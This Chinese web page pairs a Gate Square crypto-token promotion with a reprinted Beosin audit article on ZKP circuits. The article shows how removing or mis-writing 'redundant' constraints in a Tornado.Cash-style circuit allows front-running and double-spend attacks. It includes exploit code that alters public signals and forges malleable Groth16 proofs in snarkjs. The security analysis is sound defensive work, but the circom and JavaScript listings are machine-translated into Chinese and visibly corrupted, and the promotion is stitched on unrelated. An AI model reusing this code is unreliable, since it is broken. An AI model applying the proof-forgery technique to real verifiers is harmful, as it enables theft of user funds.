📢 Gate廣場 #MBG任务挑战# 發帖贏大獎活動火熱開啓!
想要瓜分1,000枚MBG?現在就來參與,展示你的洞察與實操,成爲MBG推廣達人!
💰️ 本期將評選出20位優質發帖用戶,每人可輕鬆獲得50枚MBG!
如何參與:
1️⃣ 調研MBG項目
對MBG的基本面、社區治理、發展目標、代幣經濟模型等方面進行研究,分享你對項目的深度研究。
2️⃣ 參與並分享真實體驗
參與MBG相關活動(包括CandyDrop、Launchpool或現貨交易),並曬出你的參與截圖、收益圖或實用教程。可以是收益展示、簡明易懂的新手攻略、小竅門,也可以是現貨行情點位分析,內容詳實優先。
3️⃣ 鼓勵帶新互動
如果你的帖子吸引到他人參與活動,或者有好友評論“已參與/已交易”,將大幅提升你的獲獎概率!
MBG熱門活動(帖文需附下列活動連結):
Gate第287期Launchpool:MBG — 質押ETH、MBG即可免費瓜分112,500 MBG,每小時領取獎勵!參與攻略見公告:https://www.gate.com/announcements/article/46230
Gate CandyDrop第55期:CandyDrop x MBG — 通過首次交易、交易MBG、邀請好友註冊交易即可分187,500 MBG!參與攻略見公告:https://www.gate.com/announcements
ZKP專案方必讀:電路審計-冗餘約束真的冗餘嗎?
本文作者:Beosin安全研究專家Saya & Bryce
1. 前言
ZKP(Zero-Knowledge Proof)專案主要包含鏈下電路、鏈上合約兩部分,其中電路部分由於涉及業務邏輯的約束抽像以及復雜的密碼學基礎知識,所以該部分是專案方實現的難點,同時也是安全人員的審計困難,**下面列舉一種容易被專案方忽視的安全案例— “冗餘約束”,目的是提醒專案方和使用者註意相關安全風險。 **
2. 冗餘約束能刪除嗎
在審計ZKP專案時,通常會見到以下奇怪約束,但許多專案方實際上並不理解具體含義,為了降低電路復用的難度和節省鏈下計算消耗,可能會刪除部分約束,從而造成安全問題:
我們將上述程式碼刪除前後產生的約束數量進行對比,發現在一個實際項目中有無上述約束,對項目約束總量的變化影響很小,因為它們很容易被項目方自動優化忽略
而實際上述電路的目的只是為了在證明中附加一段數據,以Tornado.Cash為例附加的數據包括:接收者地址、中繼relayer地址、手續費等,由於這些信號不影響後續電路的實際計算,所以可能會讓部分其他項目方產生疑惑,從而將其從電路中刪除,導致部分用戶交易被搶跑。
以下將以簡單的隱私交易項目Tornado.Cash為例介紹此攻擊,本文將電路中附加資訊的相關訊號與約束刪除後具體如下:
包括“../../../../node_modules/circomlib/電路/bitify.circom”;包括“../../../../node_modules/circomlib/ Circuits/pedersen.circom”;包括“merkleTree.circom”;模板CommitmentHasher() { 訊號輸入無效器;訊號輸入秘密;訊號輸出承諾; // 訊號輸出 nullifierHash;組件commitmentHasher = Pedersen(496); // 組件 nullifierHasher = Pedersen(248);組件 nullifierBits = Num2Bits(248);組件secretBits = Num2Bits(248); nullifierBits.in <== nullifier; SecretBits.in <== 秘密; for ( i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; commitmentHasher.in [i] <== nullifierBits.out [i] ; commitHasher.in[i + 248] <== SecretBits.out [i] ; } 承諾 <==commitmentHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// 驗證與給定秘密和無效符相對應的承諾是否包含在存款的 Merkle 樹中 template Withdraw(levels) { signal input root; // 訊號輸入 nullifierHash;訊號輸出承諾; // 訊號輸入接收者; // 不參與任何計算 // 訊號輸入中繼器; // 不參與任何計算 // 訊號輸入費用; // 不參與任何計算 // 訊號輸入退款; // 不參與任何計算訊號輸入無效器;訊號輸入秘密; // 訊號輸入路徑元素 [levels] ; // 訊號輸入路徑索引 [levels] ;組件哈希器 = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== 秘密;承諾 <== hasher.commitment; // hasher.nullifierHash === nullifierHash; // 組件樹 = MerkleTreeChecker(levels); // tree.leaf <== hasher.commitment; // 樹.root <== root; // for ( i = 0; i <levels; i++) { // tree.pathElements [i] <== 路徑元素 [i] ; // 樹.pathIndices [i] <== 路徑索引 [i] ; // } // 添加隱藏信號以確保篡改接收者或費用將使 snark 證明無效 // 很可能不需要,但最好保持安全,只需要 2 個約束 // 正方形用於防止優化器刪除這些約束/ / signalreceiverSquare; // 訊號費用方; //訊號relayerSquare; // 發出退款訊號; // 收件者方塊 <== 收件者 * 收件者; // 費用平方 <== 費用 * 費用; //relayerSquare <==relayer *relayer; //refundSquare <==refund *refund;}component main = Withdraw(20);
為了方便理解,本文刪除了電路中校驗Merkle Tree和nullifierHash相關的部分,同時也將收款人地址等資訊註解。在該電路產生的鏈上合約中,本文使用兩個不同的位址同時進行verify,可以發現兩個不同位址都可以通過校驗:
但是當下面程式碼加入電路約束時,可以發現只有電路中設定的recipient位址才能通過校驗:
訊號輸入接收者; // 不參與任何計算訊號輸入中繼器; // 不參與任何計算訊號輸入費用; // 不參與任何計算訊號輸入退款; // 不參與任何計算signalrecipientSquare;signalfeeSquare;signalrelayerSquare;signalrefundSquare;recipientSquare <==recipient *recipient;recipientSquare <==recipient *recipient;feeSquare <==feeSqureffee;relayerSquare <==recipient recipient;feeSquare <==feeSqureffee;relayerare <==recipient recipient;feeSquare <relaeeSqu.退款 退款;
所以當Proof未與recipient綁定時,可以發現recipient的位址可以被隨意更換而zk proof都可以校驗通過,那麼當用戶想從項目池中提款時就可能被MEV搶跑。下面是某隱私交易DApp的MEV搶跑攻擊範例:
3. 冗餘約束的錯誤寫法
此外,電路中還有兩種常見的錯誤寫法,可能導致更嚴重的雙花攻擊:一種是電路中設定了input訊號,但是未對該訊號進行約束,另一種是訊號的多個約束之間存在線性依賴關係。下圖為Groth16演算法常見的Prove和Verify計算流程:
Prover生成證明Proof π = ( [A] 1、 [C] 1、 [B] 2):
Verifier接收到證明π[A、B、C]後經過以下驗證方程式計算,若成立則驗證通過,否則驗證不通過:
3.1 訊號未參與約束
如果某個公共訊號Zi在電路中不存在任何約束,那麼對於其約束j來說,下列式子值恆為0(其中rj 是Verifier需要Prover計算的隨機挑戰值):
 { 訊號輸入 root;訊號輸出承諾;訊號輸入接收者; // 不參與任何計算訊號輸入無效器;訊號輸入秘密;組件哈希器 = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== 秘密;承諾<== hasher.commitment;}組件主要{公共 [recipient] }= 提現(20);
本文將在最新的snarkjs庫0.7.0版本上測試,將其隱式約束程式碼刪除,以展示電路存在沒有約束訊號時的雙花攻擊效果,核心exp程式碼如下:
非同步函數 groth16_exp() { 讓 inputA = "7";讓輸入B =“11”;讓輸入C =“9”;讓inputD =“0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC”;等待newZKey(withdraw2.r1cs,powersOfTau28_hez_final_14.ptau,withdraw2_0000.zkey,)等待信標(withdraw2_0000.zkey,withdraw2_final.zkey,“最終信標”,“010203004010104010fc 141516 1718191a1b1c1d1e1f", 10, ) const驗證Key =等待exportVerificationKey(withdraw2_final .zkey) fs .writeFileSync(withdraw2_verification_key.json,JSON.stringify(verificationKey),“utf-8”)讓{證明,publicSignals}=等待groth16FullProve({root:inputA,nullifier:inputB,秘密收件人:inputCroot,inputA,nullifier:inputB,秘密收件人:inputCroot, :inputD},「withdraw2 .wasm", "withdraw2_final.zkey"); console.log("publicSignals", publicSignals) fs.writeFileSync(public1.json, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(proof.json, JSON.stringutf-8 「)驗證(公共訊號,證明);公共訊號 [1] = "4" console.log("publicSignals", publicSignals) fs.writeFileSync(public2.json, JSON.stringify(publicSignals), "utf-8") verify(publicSignals,proof);}
可以看到產生的兩個Proof都通過了校驗:
3.2 線性依賴型限制
** { 訊號輸入 root; // 訊號輸入 nullifierHash;訊號輸出承諾;訊號輸入接收者; // 不參與任何訊號輸入中繼器的計算; // 不參與任何訊號輸入費用的計算; // 不參與任何計算 // 訊號輸入退款; // 不參與任何計算訊號輸入無效器;訊號輸入秘密; // 訊號輸入路徑元素 [levels] ; // 訊號輸入路徑索引 [levels] ;組件哈希器 = CommitmentHasher(); hasher.nullifier <== nullifier; hasher.secret <== 秘密;承諾 <== hasher.commitment;訊號輸入方; // 收件者方塊 <== 收件者 * 收件者; // 費用平方 <== 費用 * 費用; //relayerSquare <==relayer relayer; // 退款Square <== 退款 * 退款; 35 * Square === (2接收者 + 2*中繼者 + 費用 + 2) * (中繼者 + 4);}組件 main {public [接收者,Square]}= 提款(20);
上述電路可能導致雙花攻擊,具體的exp核心代碼如下:
const buildMalleabeC = async (orignal_proof_c, publicinput_index, orinal_pub_input, new_public_input, l) => { const c = unstringifyBigInts(orignal_proof_c) const { fd: fdZKeys. , 2 , 1 << 25, 1 << 23) const buffBasesC = 等待readSection(fdZKey,sectionZKey, 8) fdZKey.close() const curve = 等待buildBn128(); const Fr = 曲線.Fr; const G1 = 曲線.G1; const new_pi = new Uint8Array(Fr.n8); Scalar.toRprLE(new_pi, 0, new_public_input, Fr.n8); constmatching_pub = new Uint8Array(Fr.n8); Scalar.toRprLE(matching_pub, 0, orinal_pub_input, Fr.n8); const sGIn = curve.G1.F.n8 * 2 constmatching_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn) const Linear_factor = Fr.e(l.toString(10)) constdelm , Fr.sub(matching_pub, new_pi)); const p =等待曲線.G1.timesScalar(matching_base, delta_lf); const affine_c = G1.fromObject(c); const malleable_c = G1.toAffine(G1.add(affine_c, p)) 回傳 stringifyBigInts(G1.toObject(malleable_c))}
同樣修改部分函式庫程式碼後,我們在snarkjs 0.7.0版本上進行測試,結果為以下兩個偽造的proof都可以通過驗證:
4 修復方案
4.1 zk庫程式碼
目前部分流行的zk函式庫如snarkjs函式庫會在電路中隱式的加入一些約束,例如一個最簡單的約束:
上述式子在數學上恆成立,因此無論實際的訊號值是多少,符合任何約束,都可以在setup期間被庫代碼隱式的統一添加到電路中,此外在電路中使用第一節的平方約束則是較安全的做法。例如snarkjs在setup期間產生zkey時隱式加入了下列約束:
4.2 電路
項目方在設計電路時,由於使用的第三方zk函式庫可能在setup或編譯期間並不會增加額外約束,**所以我們建議專案方盡量在電路設計層面保證約束的完整性,在電路中嚴格對所有訊號進行合法約束以確保安全性,例如前文所示的平方約束。 **